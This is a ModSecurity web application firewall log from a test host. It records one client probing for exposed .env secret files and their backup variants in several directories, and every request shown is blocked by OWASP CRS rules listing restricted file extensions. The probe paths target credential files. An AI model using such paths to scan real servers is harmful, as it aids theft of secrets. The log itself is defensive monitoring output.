[Sun Oct 26 01:25:14.670782 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aP1cWhXkZeq6T3EwQbX-qwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:14.671019 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aP1cWhXkZeq6T3EwQbX-qwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:14.671213 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aP1cWhXkZeq6T3EwQbX-qwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:15.276870 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aP1cWxXkZeq6T3EwQbX-rAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:15.277121 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aP1cWxXkZeq6T3EwQbX-rAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:15.277326 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aP1cWxXkZeq6T3EwQbX-rAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:15.885778 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aP1cWxXkZeq6T3EwQbX-rQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:15.886051 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aP1cWxXkZeq6T3EwQbX-rQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:15.886259 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aP1cWxXkZeq6T3EwQbX-rQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:16.492028 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aP1cXBXkZeq6T3EwQbX-rgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:16.492218 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aP1cXBXkZeq6T3EwQbX-rgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:16.492468 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aP1cXBXkZeq6T3EwQbX-rgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:16.492699 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aP1cXBXkZeq6T3EwQbX-rgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:17.098194 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aP1cXRXkZeq6T3EwQbX-rwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:17.098438 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aP1cXRXkZeq6T3EwQbX-rwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:17.099155 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aP1cXRXkZeq6T3EwQbX-rwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:17.099399 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aP1cXRXkZeq6T3EwQbX-rwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:17.766941 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aP1cXRXkZeq6T3EwQbX-sAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:17.767311 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aP1cXRXkZeq6T3EwQbX-sAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:17.767561 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aP1cXRXkZeq6T3EwQbX-sAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:18.373112 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aP1cXhXkZeq6T3EwQbX-sQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:18.373428 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aP1cXhXkZeq6T3EwQbX-sQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:18.373626 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aP1cXhXkZeq6T3EwQbX-sQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:18.978770 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aP1cXhXkZeq6T3EwQbX-sgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:18.978970 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aP1cXhXkZeq6T3EwQbX-sgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:18.979198 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aP1cXhXkZeq6T3EwQbX-sgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:18.979385 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aP1cXhXkZeq6T3EwQbX-sgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:19.585480 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aP1cXxXkZeq6T3EwQbX-swAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:19.585677 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aP1cXxXkZeq6T3EwQbX-swAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:19.585907 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aP1cXxXkZeq6T3EwQbX-swAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:19.586102 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aP1cXxXkZeq6T3EwQbX-swAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:20.191468 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aP1cYBXkZeq6T3EwQbX-tAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:20.191725 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aP1cYBXkZeq6T3EwQbX-tAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:20.191917 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aP1cYBXkZeq6T3EwQbX-tAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:20.797726 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aP1cYBXkZeq6T3EwQbX-tQAAAAY"], referer: https://www.google.com/
